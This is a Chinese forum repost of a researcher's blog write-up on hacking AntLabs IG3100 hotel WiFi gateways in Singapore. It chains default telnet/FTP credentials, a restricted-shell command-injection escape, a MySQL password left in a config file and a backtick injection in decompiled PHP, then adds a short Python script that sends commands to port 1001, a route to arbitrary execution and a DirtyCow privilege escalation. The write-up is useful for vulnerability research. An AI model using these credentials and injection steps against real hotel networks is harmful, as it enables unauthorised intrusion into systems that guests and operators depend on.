无线论坛 门户 无线安全 查看内容

Exploit Singapore Hotels: ezxcess.antlabs.com

2018-9-26 12:57| 查看: 1533| 评论: 0|原作者: RicterZ|来自: ricterz.me

利用新加坡酒店漏洞
分享到: 更多

这几天在新加坡参加 HITB,比起各类料理,更让我感兴趣的是它的酒店 WiFi。去了三家酒店,WiFi 用的都是统一套认证系统,是 AntLabs 的 IG3100 的设备。连接到 WiFi 后会弹出一个地址为 ezxcess.antlabs.com 的认证页面:

这个地址一般来说都是解析到 traceroute 第二跳的 IP 段的最后一位地址为 2 的主机上,比如 traceroute 的结果为 10.10.1.1,那么会解析到 10.10.1.2。 秉持着我到一个酒店日一个的精神,我对于这套系统进行了一个深入的测试,最后通过串联了 4 个漏洞拿到系统的 root 权限。

 

1. Backdoor Accounts

通过 Google,我找到了这个系统测两个默认口令。一个是 telnet 的帐号,帐号密码为 console / admin,另外一个是 ftp 的帐号,帐号密码为 ftponly / antlabs。很幸运,遇到的大部分酒店这两个帐号都没有禁用。
登录进去后,发现帐号在一个受限的 shell 下,看了看 shell 自带的命令,和 Linux 自带的一些命令差不多,甚至可以用一些命令查看到沙盒之外的信息,比如 ps -ef:

利用 netstat -l 发现这个系统存在一个 MySQL,但是仅监听在 127.0.0.1。同时还发现了 6000 端口是一个 SSH 服务端口。

利用 SSH,我可以建立一个端口转发,将仅监听在 127.0.0.1 的 3306 端口转发到我的 MacBook 上,然后进行连接操作。

看了看,爆了个 ERROR 2027 (HY000): Malformed packet 的错误,nc 上去看了一下,发现这个服务器的 MySQL 是 MySQL 4.1.2,我真的没见过这么古老的 MySQL 了。虽然我命令行连接不了,但是我还有 Navicat。用 Navicat 连接果然可以,但是问题来了,我不知道 MySQL 的密码是什么。

 

2. Sandbox Escape

刚才说到,telnet / ssh 连接进去后是在一个受限的 shell 里,那么作为黑客的一个特点就是看到沙盒就手痒。怎么逃逸沙盒,这个需要看 shell 提供了什么功能了。运行 help 看看:

经过一番思考,我发现,这个 shell 除了一些 Linux 的系统命令外,还有一些看起来不是 Linux 自带的命令,比如 sshtun、usage_log、vlandump 等等。这些命令我猜测是一些脚本或者二进制文件写的,来方便管理员进行一些操作。那么既然是开发人员编写的,那么就有可能有漏洞,特别是命令注入漏洞。尝试了几次之后,我成功利用了 vlandump 逃逸了沙盒:

沙盒是逃逸了,但是我还是绝望的发现,我被 chroot 了。chroot 我是绕不过去了,只能翻翻配置文件来寻找乐子。然后我惊喜地在 /etc 目录发现了 MySQL 的密码:

那么有了密码,又能访问端口,我们就可以连接 MySQL 登录数据库了。

 

3. File Read

在数据库找到了管理员的帐号密码,成功登录。接下来就是拿 shell 的时候了,那么需要对这个系统做个代码审计。

MySQL root 用户的好处就是可以读文件,但是我发现我读 /etc/httpd/conf.d/httpd.conf 居然显示没有权限,又猜不到 Web 的目录,场面一度十分尴尬。
峰回路转,我在 shell 内 ps -ef 的时候发现了一个奇怪的东西:

tcpserver 命令在 1001 启动了个端口,转交给 PHP 来处理。这个东西看起来好搞,利用 load_file 读取后,发现是用 IonCube 加密过的,网上随便找了个平台解了个密,得到代码:

 

4. Limited RCE

读了读代码,发现程序存在一个 RCE。

function logSyslog($msg)
{
    global $ip;
    global $buffer;
    $msg = trim($msg);

    if ($msg != '') {
        exec('/usr/bin/logger -p lpr.info -t Acc_Printer -- "Printer ' . $ip . ' ' . $buffer . ' ' . $msg . '"', $out, $ret);

        if ($ret == 0) {
            return TRUE;
        }
    }

    return FALSE;
}

这里的 msg 带入到 exec 中,并且直接双引号包裹。那么可以直接用反引号来执行命令。通读了一遍代码后,我发现除了 MySQL 查询语句居然没有其他可控的点。代码如下:

function generateAccount($buffer)
{
    global $ip;
    global $print_previous;
    global $timeformat;
    global $dateformat;
    global $transactionNumberDigit;
    global $printer_path;
    global $db;
    $copy_label = '';

    if ($buffer != $print_previous) {
        $query = 'SELECT * FROM ant_services.Acc_Printer_Button JOIN ant_services.Acc_Printer ON Acc_Printer_Button.printer_id=Acc_Printer.printer_id  WHERE button_code='' . mysql_real_escape_string($buffer) . '' AND printer_ip='' . mysql_real_escape_string($ip) . ''';
        $rsbutton = $db->query($query);

        if (!($button = $rsbutton->fetch())) {
            logSyslog('failed to read button configuration from database. QUERY = ' . $query);
            return FALSE;
        }

往上追溯一下调用这个函数的地方,我发现了更绝望的事情:

if (trim($buffer) == '(') {
    $buffer .= fread(STDIN, 14);

    if (!strstr($print_previous, $buffer)) {
        generateAccount($buffer);
    }

我们只有 14 个字节的可控点,去掉首尾的反引号后还有 12 位。这太他妈 CTF 了吧。
另外还有一个限制:

while (true) {
    unset($printer_details);
    clearstatcache();

    if (!($res = $db->query('SELECT * FROM ant_services.Acc_Printer WHERE printer_ip='' . mysql_real_escape_string($ip) . '' AND status='enable''))) {
        logSyslog('failed to query database to get printer details');
        exit(1);
    }

    if ($res->rowCount() == '0') {
        logSyslog('is not found in registered printer list database ');
        exit(1);
    }

我想执行命令的话,需要是在 ant_services.Acc_Printer 能查到我的 IP 的,不过对于拥有数据库权限的我们来说,不是什么大问题。
写了个脚本方便执行:

import zio, sys

io = zio.zio(('192.168.10.2', 1001))
io.write('(`%s`)' % sys.argv[1])

不知道大家还记得之前提过有一个 FTP 的事情吗?我发现执行命令的结果会写在 FTP 下面的 log/acc/acc.log,这也算是意外之喜了。

 

5. Unlimited RCE

12 个字节怎么想怎么难受,但是想了想,我们有 MySQL,能写文件。如果把要执行的命令写到 /tmp 目录下,接着利用 bash /tmp/a 执行,只需要 11 个字节,那么就非常顺利的将受限的命令执行转化为任意命令执行了。

 

6. DirtyCows

没啥好说的了,这个 CentOS 4 的版本,随便提权啦。

本文转载自: ricterz.me 

高人

专业

握手
2

霸气

雷人

吐血

山寨

奋斗

刚表态过的朋友 (2 人)

相关阅读

最新评论

今年wlan行业黄了凉了清仓大处理 MT7620 64M 8M USB 只要20元了
今年wlan行业黄了凉了清仓大处理 MT7620 64
今年wlan行业黄了凉了清仓大处理 MT7620 64M 8M USB 只要20元了 1可刷很多固件 2可刷 老毛子 潘多拉
插排7.8 充电风扇9.9 太阳能灯4.9 充电钻29 台扇29.9 松下台灯69 耳机7充电电池套装15
插排7.8 充电风扇9.9 太阳能灯4.9 充电钻29
wifi远程遥控天猫精灵带电量【优惠价54元】[/backcolor] 商品链接[/backcolor]https://s.click.taobao.c

Archiver| 手机版| 无线论坛 ( 粤ICP备11076993 ) |网站地图

GMT+8, 2019-4-23 10:52

Powered by Discuz! X3.4

© 2003-2013 广州威思信息科技有限公司

返回顶部